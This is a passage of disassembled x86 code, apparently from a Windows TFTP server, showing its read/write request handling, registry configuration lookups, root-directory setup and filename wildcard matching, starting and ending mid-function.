[ecx+ebx+1] mov [ebp+Src], eax call ds:malloc ; malloc mov ebx, eax pop ecx test ebx, ebx jz loc_1003331 mov ecx, 400Dh xor eax, eax mov edi, ebx rep stosd push dword ptr [esi+10h] ; in call ds:inet_ntoa ; inet_ntoa mov [ebp+to], eax mov ax, [esi+0Eh] push eax ; hostshort call ds:htons ; htons mov edi, [ebp+Src] mov [ebp+var_C], edi mov al, [edi] test al, al jz short loc_1002FCD loc_1002FB5: ; CODE XREF: sub_1002F31+97j movsx eax, al push eax ; C call ds:tolower ; tolower mov [edi], al mov al, [edi+1] inc edi pop ecx test al, al jnz short loc_1002FB5 mov [ebp+var_C], edi loc_1002FCD: ; CODE XREF: sub_1002F31+82j mov edi, [ebp+Src] mov eax, offset aNetascii ; "netascii" loc_1002FD5: ; CODE XREF: sub_1002F31+C0j mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_1002FF7 test cl, cl jz short loc_1002FF3 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_1002FF7 inc edi inc edi inc eax inc eax test cl, cl jnz short loc_1002FD5 loc_1002FF3: ; CODE XREF: sub_1002F31+AEj xor eax, eax jmp short loc_1002FFC ; --------------------------------------------------------------------------- loc_1002FF7: ; CODE XREF: sub_1002F31+AAj ; sub_1002F31+B8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_1002FFC: ; CODE XREF: sub_1002F31+C4j test eax, eax jz short loc_1003037 mov edi, [ebp+Src] mov eax, offset aOctet ; "octet" loc_1003008: ; CODE XREF: sub_1002F31+F3j mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_100302A test cl, cl jz short loc_1003026 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_100302A inc edi inc edi inc eax inc eax test cl, cl jnz short loc_1003008 loc_1003026: ; CODE XREF: sub_1002F31+E1j xor eax, eax jmp short loc_100302F ; --------------------------------------------------------------------------- loc_100302A: ; CODE XREF: sub_1002F31+DDj ; sub_1002F31+EBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_100302F: ; CODE XREF: sub_1002F31+F7j test eax, eax jnz loc_10032F6 loc_1003037: ; CODE XREF: sub_1002F31+CDj mov edi, [ebp+var_18] or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esi+1FFADh] repne scasb not ecx sub edi, ecx push edx mov eax, ecx mov esi, edi mov edi, edx mov [ebp+Src], edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call sub_100261E test eax, eax jnz short loc_1003071 push offset aMalformedFileN ; "Malformed file name" jmp short loc_10030CB ; --------------------------------------------------------------------------- loc_1003071: ; CODE XREF: sub_1002F31+137j push [ebp+to] push offset Data call sub_10039D6 test eax, eax jnz short loc_1003093 push [ebp+to] push offset byte_1005D20 call sub_10039D6 test eax, eax jz short loc_10030A4 loc_1003093: ; CODE XREF: sub_1002F31+14Fj push [ebp+Src] push offset byte_1005D58 call sub_10039D6 test eax, eax jnz short loc_10030B0 loc_10030A4: ; CODE XREF: sub_1002F31+160j call ds:_errno ; _errno push 0 push 2 jmp short loc_1003100 ; --------------------------------------------------------------------------- loc_10030B0: ; CODE XREF: sub_1002F31+171j push (offset dword_1005E07+1) ; int push 0FFBCh ; int push [ebp+Src] ; Src call sub_100273D test eax, eax jnz short loc_10030CF push offset aFileNameTooLon ; "File name too long" loc_10030CB: ; CODE XREF: sub_1002F31+13Ej push 0 jmp short loc_1003100 ; --------------------------------------------------------------------------- loc_10030CF: ; CODE XREF: sub_1002F31+193j push 8000h push [ebp+Src] call ds:_open ; _open pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebx+1002Ch], eax jnz short loc_1003116 mov esi, ds:_errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError call esi ; _errno push 0 push 1 loc_1003100: ; CODE XREF: sub_1002F31+17Dj ; sub_1002F31+19Cj mov eax, [ebp+arg_0] push dword ptr [eax+8] lea ecx, [eax+0FFF1h] add eax, 0Ch push ecx push eax jmp loc_1003308 ; --------------------------------------------------------------------------- loc_1003116: ; CODE XREF: sub_1002F31+1B7j mov edi, ds:_lseek push 2 push 0 push eax call edi ; _lseek mov esi, [ebp+arg_0] add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_1003140 push 0 push 0 mov [esi+24h], eax push dword ptr [ebx+1002Ch] call edi ; _lseek add esp, 0Ch loc_1003140: ; CODE XREF: sub_1002F31+1FBj cmp eax, 0FFFFFFFFh jnz short loc_1003159 mov edi, ds:_errno call edi ; _errno call edi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError jmp short loc_1003197 ; --------------------------------------------------------------------------- loc_1003159: ; CODE XREF: sub_1002F31+212j push 0 ; protocol push 2 ; type push 2 ; af call ds:socket ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+Src], edi jz short loc_1003191 mov eax, [esi+1Ch] and word ptr [ebp+name.sa_data], 0 mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push 10h ; namelen push eax ; name push edi ; s mov [ebp+name.sa_family], 2 call ds:bind ; bind test eax, eax jz short loc_10031A3 loc_1003191: ; CODE XREF: sub_1002F31+23Cj call ds:WSAGetLastError ; WSAGetLastError loc_1003197: ; CODE XREF: sub_1002F31+226j push offset aInsufficientRe ; "Insufficient resources" push 0 jmp loc_10032FA ; --------------------------------------------------------------------------- loc_10031A3: ; CODE XREF: sub_1002F31+25Ej push ebx ; lpCriticalSection mov [esi+8], edi call ds:InitializeCriticalSection ; InitializeCriticalSection mov [ebx+20h], edi add esi, 0Ch lea edi, [ebx+28h] mov [ebp+to], esi movsd movsd movsd movsd xor edi, edi push edi ; lpName push edi ; bInitialState push edi ; bManualReset push edi ; lpEventAttributes call ds:CreateEventA ; CreateEventA cmp eax, edi mov [ebx+0FFF8h], eax jz short loc_10031E8 push 2 ; char push eax ; hEventObject push [ebp+Src] ; s call sub_100188E cmp eax, edi mov [ebx+0FFFCh], eax jnz short loc_10031F3 loc_10031E8: ; CODE XREF: sub_1002F31+2A0j call ds:GetLastError jmp loc_1003312 ; --------------------------------------------------------------------------- loc_10031F3: ; CODE XREF: sub_1002F31+2B5j add ebx, 18h push ebx call sub_100287F push 1 pop esi push [ebp+Src] mov [ebp+var_14], esi call sub_10028B5 mov ebx, eax cmp ebx, edi jz loc_1003312 lea edi, [ebx+10028h] lea eax, [ebx+38h] push edi ; int push eax ; int lea eax, [ebx+10024h] mov [ebp+var_10], esi push eax ; int mov eax, [ebp+var_C] push esi ; int mov esi, [ebp+arg_0] inc eax push eax ; Str1 push esi ; int call sub_10023D8 test eax, eax jnz loc_1003312 cmp [edi], eax jz short loc_1003255 mov eax, [esi+28h] imul eax, 3E8h mov [ebx+10000h], eax jmp short loc_100325F ; --------------------------------------------------------------------------- loc_1003255: ; CODE XREF: sub_1002F31+311j mov dword ptr [ebx+10000h], 3E8h loc_100325F: ; CODE XREF: sub_1002F31+322j mov eax, [ebx+10000h] push 0 push eax push eax push dword ptr [ebx+20h] lea eax, [ebx+10004h] push offset sub_1002A3D push eax push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer push 1 pop edi mov [ebx+24h], edi mov eax, [esi+20h] push esi push ebx mov [ebx+10018h], eax mov [ebx+10014h], di call sub_10027E1 push 10h ; tolen xor ecx, ecx push [ebp+to] ; to cmp eax, ecx mov [ebx+1000Ch], ecx push ecx ; flags push dword ptr [ebx+10020h] ; len jz short loc_10032D9 lea eax, [ebx+38h] push eax ; buf push [ebp+Src] ; s call ds:sendto ; sendto mov ecx, [ebx+1001Ch] cmp ecx, [esi+20h] jnb short loc_10032E9 mov [ebx+10030h], edi jmp short loc_10032E9 ; --------------------------------------------------------------------------- loc_10032D9: ; CODE XREF: sub_1002F31+386j add esi, 0FFF1h push esi ; buf push [ebp+Src] ; s call ds:sendto ; sendto loc_10032E9: ; CODE XREF: sub_1002F31+39Ej ; sub_1002F31+3A6j cmp eax, 0FFFFFFFFh jnz short loc_1003312 call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1003312 ; --------------------------------------------------------------------------- loc_10032F6: ; CODE XREF: sub_1002F31+100j push 0 ; int push 4 ; hostshort loc_10032FA: ; CODE XREF: sub_1002F31+26Dj push dword ptr [esi+8] ; s lea eax, [esi+0FFF1h] add esi, 0Ch push eax ; int push esi ; to loc_1003308: ; CODE XREF: sub_1002F31+1E0j call sub_100230A jmp short loc_1003312 ; --------------------------------------------------------------------------- loc_100330F: ; CODE XREF: sub_1002F31+27j mov ebx, [ebp+arg_0] loc_1003312: ; CODE XREF: sub_1002F31+2BDj ; sub_1002F31+2DDj ... test ebx, ebx jz short loc_1003331 cmp [ebp+var_10], 0 jz short loc_1003323 push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1003323: ; CODE XREF: sub_1002F31+3E9j cmp [ebp+var_14], 0 jnz short loc_1003331 push ebx ; Memory call ds:free ; free pop ecx loc_1003331: ; CODE XREF: sub_1002F31+50j ; sub_1002F31+3E3j ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_1002F31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo name = sockaddr ptr -28h to = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Src = dword ptr -8 s = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h and [ebp+var_10], 0 and [ebp+var_14], 0 push ebx push esi push edi push 10034h ; Size call ds:malloc ; malloc mov ebx, eax pop ecx test ebx, ebx jz loc_1003731 mov ecx, 400Dh xor eax, eax mov edi, ebx push 0FFBAh rep stosd mov eax, [ebp+arg_0] lea esi, [eax+36h] push esi mov [ebp+s], esi call sub_1002F0E test eax, eax jz loc_1003712 mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebp+arg_0] not ecx push dword ptr [edi+10h] ; in dec ecx lea esi, [ecx+esi+1] call ds:inet_ntoa ; inet_ntoa mov [ebp+to], eax mov ax, [edi+0Eh] push eax ; hostshort call ds:htons ; htons cmp byte ptr [esi], 0 mov edi, esi mov [ebp+var_C], edi jz short loc_10033E1 loc_10033BC: ; CODE XREF: sub_100333A+A2j movsx eax, byte ptr [edi] push eax ; C call ds:isupper ; isupper test eax, eax movsx eax, byte ptr [edi] pop ecx jz short loc_10033D6 push eax ; C call ds:tolower ; tolower pop ecx loc_10033D6: ; CODE XREF: sub_100333A+92j mov [edi], al inc edi cmp byte ptr [edi], 0 jnz short loc_10033BC mov [ebp+var_C], edi loc_10033E1: ; CODE XREF: sub_100333A+80j mov eax, offset aNetascii ; "netascii" mov edi, esi loc_10033E8: ; CODE XREF: sub_100333A+CAj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_100340A test cl, cl jz short loc_1003406 mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_100340A inc edi inc edi inc eax inc eax test cl, cl jnz short loc_10033E8 loc_1003406: ; CODE XREF: sub_100333A+B8j xor eax, eax jmp short loc_100340F ; --------------------------------------------------------------------------- loc_100340A: ; CODE XREF: sub_100333A+B4j ; sub_100333A+C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_100340F: ; CODE XREF: sub_100333A+CEj test eax, eax jnz short loc_100341F mov dword ptr [ebx+10030h], 4000h jmp short loc_100345D ; --------------------------------------------------------------------------- loc_100341F: ; CODE XREF: sub_100333A+D7j mov edi, offset aOctet ; "octet" loc_1003424: ; CODE XREF: sub_100333A+106j mov cl, [esi] mov al, cl cmp cl, [edi] jnz short loc_1003446 test al, al jz short loc_1003442 mov cl, [esi+1] mov al, cl cmp cl, [edi+1] jnz short loc_1003446 inc esi inc esi inc edi inc edi test al, al jnz short loc_1003424 loc_1003442: ; CODE XREF: sub_100333A+F4j xor eax, eax jmp short loc_100344B ; --------------------------------------------------------------------------- loc_1003446: ; CODE XREF: sub_100333A+F0j ; sub_100333A+FEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_100344B: ; CODE XREF: sub_100333A+10Aj test eax, eax jnz loc_10036F8 mov dword ptr [ebx+10030h], 8000h loc_100345D: ; CODE XREF: sub_100333A+E3j mov eax, [ebp+arg_0] mov edi, [ebp+s] or ecx, 0FFFFFFFFh lea edx, [eax+1FFADh] xor eax, eax repne scasb not ecx sub edi, ecx push edx mov eax, ecx mov esi, edi mov edi, edx mov [ebp+Src], edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call sub_100261E test eax, eax jnz short loc_100349A push offset aMalformedFileN ; "Malformed file name" jmp short loc_10034DF ; --------------------------------------------------------------------------- loc_100349A: ; CODE XREF: sub_100333A+157j push [ebp+to] push offset byte_1005D20 call sub_10039D6 test eax, eax jz loc_10036EC push [ebp+s] push offset byte_1005D90 call sub_10039D6 test eax, eax jz loc_10036EC push (offset dword_1005E07+1) ; int push 0FFBCh ; int push [ebp+Src] ; Src call sub_100273D test eax, eax jnz short loc_10034E6 push offset aFileNameTooLon ; "File name too long" loc_10034DF: ; CODE XREF: sub_100333A+15Ej push 0 jmp loc_10036FC ; --------------------------------------------------------------------------- loc_10034E6: ; CODE XREF: sub_100333A+19Ej push 180h push 8302h push [ebp+Src] call ds:_open ; _open add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebx+1002Ch], eax jnz short loc_100351E mov esi, ds:_errno call esi ; _errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError jmp loc_10036F2 ; --------------------------------------------------------------------------- loc_100351E: ; CODE XREF: sub_100333A+1CBj xor esi, esi push esi ; protocol push 2 ; type push 2 ; af call ds:socket ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+s], edi jnz short loc_1003546 call ds:WSAGetLastError ; WSAGetLastError push offset aInsufficientRe ; "Insufficient resources" push esi jmp loc_10036FC ; --------------------------------------------------------------------------- loc_1003546: ; CODE XREF: sub_100333A+1F9j mov word ptr [ebp+name.sa_data], si mov esi, [ebp+arg_0] push 10h ; namelen mov [ebp+name.sa_family], 2 mov eax, [esi+1Ch] mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push eax ; name push edi ; s call ds:bind ; bind test eax, eax jz short loc_100358A call ds:WSAGetLastError ; WSAGetLastError push offset aInsufficientRe ; "Insufficient resources" push 0 push dword ptr [esi+8] lea eax, [esi+0FFF1h] add esi, 0Ch push eax push esi jmp loc_100370D ; --------------------------------------------------------------------------- loc_100358A: ; CODE XREF: sub_100333A+22Ej lea eax, [ebx+10028h] mov [esi+8], edi push eax ; int lea eax, [ebx+38h] push eax ; int lea eax, [ebx+10024h] push eax ; int mov eax, [ebp+var_C] inc eax push 2 ; int push eax ; Str1 push esi ; int call sub_10023D8 test eax, eax jnz loc_1003712 push ebx ; lpCriticalSection call ds:InitializeCriticalSection ; InitializeCriticalSection mov [ebx+20h], edi add esi, 0Ch lea edi, [ebx+28h] mov [ebp+to], esi movsd movsd movsd movsd xor esi, esi push esi ; lpName push esi ; bInitialState push esi ; bManualReset push esi ; lpEventAttributes call ds:CreateEventA ; CreateEventA cmp eax, esi mov [ebx+0FFF8h], eax jz short loc_10035F8 push 2 pop edi push edi ; char push eax ; hEventObject push [ebp+s] ; s call sub_100188E cmp eax, esi mov [ebx+0FFFCh], eax jnz short loc_1003603 loc_10035F8: ; CODE XREF: sub_100333A+2A5j call ds:GetLastError jmp loc_1003712 ; --------------------------------------------------------------------------- loc_1003603: ; CODE XREF: sub_100333A+2BCj add ebx, 18h push ebx call sub_100287F push [ebp+s] mov [ebp+var_14], 1 call sub_10028B5 mov ebx, eax cmp ebx, esi jz loc_1003712 xor esi, esi mov [ebp+var_10], 1 cmp [ebx+10028h], esi jz short loc_100364A mov eax, [ebp+arg_0] mov eax, [eax+28h] imul eax, 3E8h mov [ebx+10000h], eax jmp short loc_1003654 ; --------------------------------------------------------------------------- loc_100364A: ; CODE XREF: sub_100333A+2FAj mov dword ptr [ebx+10000h], 3E8h loc_1003654: ; CODE XREF: sub_100333A+30Ej mov eax, [ebx+10000h] push esi push eax push eax push dword ptr [ebx+20h] lea eax, [ebx+10004h] push offset sub_1002A3D push eax push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer mov eax, [ebp+arg_0] mov ecx, [ebx+10024h] mov [ebx+24h], edi cmp ecx, esi mov eax, [eax+20h] mov [ebx+10018h], eax lea eax, [ebx+10024h] jz short loc_10036A1 mov [ebx+10020h], ecx mov [eax], esi jmp short loc_10036C5 ; --------------------------------------------------------------------------- loc_10036A1: ; CODE XREF: sub_100333A+35Bj mov esi, ds:htons push 4 pop edi push edi ; hostshort call esi ; htons mov [ebx+38h], ax mov ax, [ebx+10014h] push eax ; hostshort call esi ; htons mov [ebx+3Ah], ax mov [ebx+10020h], edi loc_10036C5: ; CODE XREF: sub_100333A+365j push 10h ; tolen lea eax, [ebx+38h] push [ebp+to] ; to push 0 ; flags push dword ptr [ebx+10020h] ; len push eax ; buf push [ebp+s] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_1003712 call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1003712 ; --------------------------------------------------------------------------- loc_10036EC: ; CODE XREF: sub_100333A+16Fj ; sub_100333A+184j call ds:_errno ; _errno loc_10036F2: ; CODE XREF: sub_100333A+1DFj push 0 push 2 jmp short loc_10036FC ; --------------------------------------------------------------------------- loc_10036F8: ; CODE XREF: sub_100333A+113j push 0 ; int push 4 ; hostshort loc_10036FC: ; CODE XREF: sub_100333A+1A7j ; sub_100333A+207j ... mov eax, [ebp+arg_0] push dword ptr [eax+8] ; s lea ecx, [eax+0FFF1h] add eax, 0Ch push ecx ; int push eax ; to loc_100370D: ; CODE XREF: sub_100333A+24Bj call sub_100230A loc_1003712: ; CODE XREF: sub_100333A+48j ; sub_100333A+274j ... test ebx, ebx jz short loc_1003731 cmp [ebp+var_10], 0 jz short loc_1003723 push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1003723: ; CODE XREF: sub_100333A+3E0j cmp [ebp+var_14], 0 jnz short loc_1003731 push ebx ; Memory call ds:free ; free pop ecx loc_1003731: ; CODE XREF: sub_100333A+21j ; sub_100333A+3DAj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_100333A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p var_1FF70 = byte ptr -1FF70h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1FF70h call _chkstk ; _chkstk cmp [ebp+arg_C], 8000h push esi push edi jnz short loc_100375A push [ebp+arg_8] push [ebp+arg_4] jmp short loc_1003792 ; --------------------------------------------------------------------------- loc_100375A: ; CODE XREF: sub_100373A+16j mov edx, [ebp+arg_4] xor ecx, ecx xor esi, esi cmp [ebp+arg_8], ecx jle short loc_1003790 mov edi, [ebp+arg_10] loc_1003769: ; CODE XREF: sub_100373A+54j cmp byte ptr [edi], 0Dh jnz short loc_1003779 cmp byte ptr [ecx+edx], 0 jnz short loc_1003779 and byte ptr [edi], 0 jmp short loc_100378A ; --------------------------------------------------------------------------- loc_1003779: ; CODE XREF: sub_100373A+32j ; sub_100373A+38j mov al, [ecx+edx] mov [ebp+esi+var_1FF70], al inc esi cmp al, 0Dh jnz short loc_100378A mov [edi], al loc_100378A: ; CODE XREF: sub_100373A+3Dj ; sub_100373A+4Cj inc ecx cmp ecx, [ebp+arg_8] jl short loc_1003769 loc_1003790: ; CODE XREF: sub_100373A+2Aj push esi push edx loc_1003792: ; CODE XREF: sub_100373A+1Ej push [ebp+arg_0] call ds:_write ; _write mov edi, eax add esp, 0Ch cmp edi, 0FFFFFFFFh jnz short loc_10037B7 mov esi, ds:_errno call esi ; _errno call esi ; _errno push dword ptr [eax] ; dwErrCode call ds:SetLastError loc_10037B7: ; CODE XREF: sub_100373A+69j mov eax, edi pop edi pop esi leave retn 14h sub_100373A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p hKey = dword ptr -10h Type = dword ptr -0Ch cbData = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+hKey] push ebx xor ebx, ebx push eax ; phkResult push 0F003Fh ; samDesired push ebx ; ulOptions push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"... push 80000002h ; hKey mov [ebp+var_4], ebx call ds:RegOpenKeyExA ; RegOpenKeyExA cmp eax, ebx jz short loc_10037F6 call ds:GetLastError xor eax, eax jmp loc_100390D ; --------------------------------------------------------------------------- loc_10037F6: ; CODE XREF: sub_10037BF+28j cmp byte ptr dword_1005E07+1, bl push edi push esi mov esi, ds:RegQueryValueExA jnz short loc_100383C lea eax, [ebp+cbData] mov [ebp+cbData], 1F4h push eax ; lpcbData lea eax, [ebp+Type] push (offset dword_1005E07+1) ; lpData push eax ; lpType push ebx ; lpReserved push offset ValueName ; "directory" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_1003831 call ds:GetLastError jmp short loc_100383C ; --------------------------------------------------------------------------- loc_1003831: ; CODE XREF: sub_10037BF+68j push 1 pop eax cmp [ebp+Type], eax jnz short loc_100383C mov [ebp+var_4], eax loc_100383C: ; CODE XREF: sub_10037BF+45j ; sub_10037BF+70j ... push 32h lea eax, [ebp+cbData] pop edi push eax ; lpcbData lea eax, [ebp+Type] push offset Data ; lpData push eax ; lpType push ebx ; lpReserved push offset aClients ; "clients" push [ebp+hKey] ; hKey mov [ebp+cbData], edi call esi ; RegQueryValueExA cmp eax, ebx jz short loc_1003866 call ds:GetLastError jmp short loc_100386F ; --------------------------------------------------------------------------- loc_1003866: ; CODE XREF: sub_10037BF+9Dj cmp [ebp+Type], 1 jnz short loc_100386F inc [ebp+var_4] loc_100386F: ; CODE XREF: sub_10037BF+A5j ; sub_10037BF+ABj lea eax, [ebp+cbData] mov [ebp+cbData], edi push eax ; lpcbData lea eax, [ebp+Type] push offset byte_1005D20 ; lpData push eax ; lpType push ebx ; lpReserved push offset aMasters ; "masters" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_1003896 call ds:GetLastError jmp short loc_100389F ; --------------------------------------------------------------------------- loc_1003896: ; CODE XREF: sub_10037BF+CDj cmp [ebp+Type], 1 jnz short loc_100389F inc [ebp+var_4] loc_100389F: ; CODE XREF: sub_10037BF+D5j ; sub_10037BF+DBj lea eax, [ebp+cbData] mov [ebp+cbData], edi push eax ; lpcbData lea eax, [ebp+Type] push offset byte_1005D58 ; lpData push eax ; lpType push ebx ; lpReserved push offset aReadable ; "readable" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_10038C6 call ds:GetLastError jmp short loc_10038CF ; --------------------------------------------------------------------------- loc_10038C6: ; CODE XREF: sub_10037BF+FDj cmp [ebp+Type], 1 jnz short loc_10038CF inc [ebp+var_4] loc_10038CF: ; CODE XREF: sub_10037BF+105j ; sub_10037BF+10Bj lea eax, [ebp+cbData] mov [ebp+cbData], edi push eax ; lpcbData lea eax, [ebp+Type] push offset byte_1005D90 ; lpData push eax ; lpType push ebx ; lpReserved push offset aWritable ; "writable" push [ebp+hKey] ; hKey call esi ; RegQueryValueExA cmp eax, ebx jz short loc_10038F6 call ds:GetLastError jmp short loc_10038FF ; --------------------------------------------------------------------------- loc_10038F6: ; CODE XREF: sub_10037BF+12Dj cmp [ebp+Type], 1 jnz short loc_10038FF inc [ebp+var_4] loc_10038FF: ; CODE XREF: sub_10037BF+135j ; sub_10037BF+13Bj push [ebp+hKey] ; hKey call ds:RegCloseKey ; RegCloseKey mov eax, [ebp+var_4] pop esi pop edi loc_100390D: ; CODE XREF: sub_10037BF+32j pop ebx leave retn sub_10037BF endp ; =============== S U B R O U T I N E ======================================= sub_1003910 proc near ; CODE XREF: sub_1001665+193p Dst = byte ptr -1F4h sub esp, 1F4h cmp byte ptr dword_1005E07+1, 0 push ebx push ebp push esi push edi mov ebp, 1F4h mov ebx, (offset dword_1005E07+1) jnz short loc_100393D push ebp ; Count push offset Source ; "\\tftpdroot\\" push ebx ; Dest call ds:strncpy ; strncpy add esp, 0Ch loc_100393D: ; CODE XREF: sub_1003910+1Bj lea eax, [esp+204h+Dst] push ebp ; nSize push eax ; lpDst push ebx ; lpSrc call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA test eax, eax jnz short loc_1003952 push 57h jmp short loc_10039CA ; --------------------------------------------------------------------------- loc_1003952: ; CODE XREF: sub_1003910+3Cj mov ecx, eax lea esi, [esp+204h+Dst] mov edi, ebx or edx, 0FFFFFFFFh shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, ebx mov ecx, edx repne scasb not ecx dec ecx cmp byte ptr dword_1005E07[ecx], 2Fh lea eax, dword_1005E07[ecx] jnz short loc_1003986 mov byte ptr [eax], 5Ch loc_1003986: ; CODE XREF: sub_1003910+71j cmp byte ptr [eax], 5Ch jz short loc_10039B7 cmp ecx, ebp jnb short loc_10039B7 mov edi, offset asc_100155C ; "\\" mov ecx, edx xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebp, ecx mov edi, ebx mov ecx, edx repne scasb mov ecx, ebp dec edi shr ecx, 2 rep movsd mov ecx, ebp and ecx, 3 rep movsb loc_10039B7: ; CODE XREF: sub_1003910+79j ; sub_1003910+7Dj mov edi, ebx mov ecx, edx xor eax, eax push 1 repne scasb not ecx dec ecx mov dword_1005FFC, ecx loc_10039CA: ; CODE XREF: sub_1003910+40j pop eax pop edi pop esi pop ebp pop ebx add esp, 1F4h retn sub_1003910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p ; sub_1002F31+159p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi mov al, [esi] test al, al jz short loc_1003A2E cmp al, 2Ah jz short loc_1003A04 cmp al, 3Fh jz short loc_10039F7 mov ecx, [ebp+arg_4] cmp al, [ecx] jnz short loc_1003A25 inc ecx push ecx jmp short loc_1003A01 ; --------------------------------------------------------------------------- loc_10039F7: ; CODE XREF: sub_10039D6+14j mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jz short loc_1003A25 inc eax push eax loc_1003A01: ; CODE XREF: sub_10039D6+1Fj inc esi jmp short loc_1003A1B ; --------------------------------------------------------------------------- loc_1003A04: ; CODE XREF: sub_10039D6+10j mov edi, [ebp+arg_4] lea eax, [esi+1] push edi push eax call sub_10039D6 test eax, eax jnz short loc_1003A29 cmp [edi], al jz short loc_1003A25 inc edi push edi loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj push esi call sub_10039D6 test eax, eax jnz short loc_1003A29 loc_1003A25: ; CODE XREF: sub_10039D6+1Bj ; sub_10039D6+27j ... xor eax, eax jmp short loc_1003A38 ; --------------------------------------------------------------------------- loc_1003A29: ; CODE XREF: sub_10039D6+3Dj ; sub_10039D6+4Dj push 1 pop eax jmp short loc_1003A38 ; --------------------------------------------------------------------------- loc_1003A2E: ; CODE XREF: sub_10039D6+Cj mov ecx, [ebp+arg_4] xor eax, eax cmp [ecx], al setz al loc_1003A38: ; CODE XREF: sub_10039D6+51j ; sub_10039D6+56j pop edi pop esi pop ebp retn 8 sub_10039D6 endp ; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_1001560 push offset loc_1003BF0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp-18h], esp mov dword ptr [ebp-4], 0 push 1 call ds:__set_app_type ; __set_app_type add esp, 4 mov dword_10062D0, 0FFFFFFFFh mov dword_10062D4, 0FFFFFFFFh call ds:__p__fmode ; __p__fmode mov ecx, dword_100600C mov [eax], ecx call ds:__p__commode ; __p__commode mov edx, dword_1006008 mov [eax], edx mov eax, ds:_adjust_fdiv mov ecx, [eax] mov dword_10062D8, ecx call nullsub_2 mov eax, dword_1005DC4 test eax, eax jnz short loc_1003AE1 push offset loc_1003BD0 call ds:__setusermatherr ; __setusermatherr add esp, 4 loc_1003AE1: ; CODE XREF: .text:01003AD1j call sub_1003BB0 push offset dword_100500C push offset dword_1005008 call _initterm ; _initterm add esp, 8 mov edx, dword_1006004 mov [ebp-28h], edx lea eax, [ebp-28h] push eax mov ecx, dword_1006000 push ecx lea edx, [ebp-20h] push edx lea eax, [ebp-2Ch] push eax lea ecx, [ebp-1Ch] push ecx call ds:__getmainargs ; __getmainargs add esp, 14h push offset dword_1005004 push offset dword_1005000 call _initterm ; _initterm add esp, 8 call ds:__p___initenv ; __p___initenv mov edx, [ebp-20h] mov [eax], edx mov eax, [ebp-20h] push eax mov ecx, [ebp-2Ch] push ecx mov edx, [ebp-1Ch] push edx call sub_1001570 ; --------------------------------------------------------------------------- add esp, 0Ch mov [ebp-24h], eax push eax call ds:exit ; exit ; --------------------------------------------------------------------------- jmp short loc_1003B80 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-30h], ecx push eax push ecx call 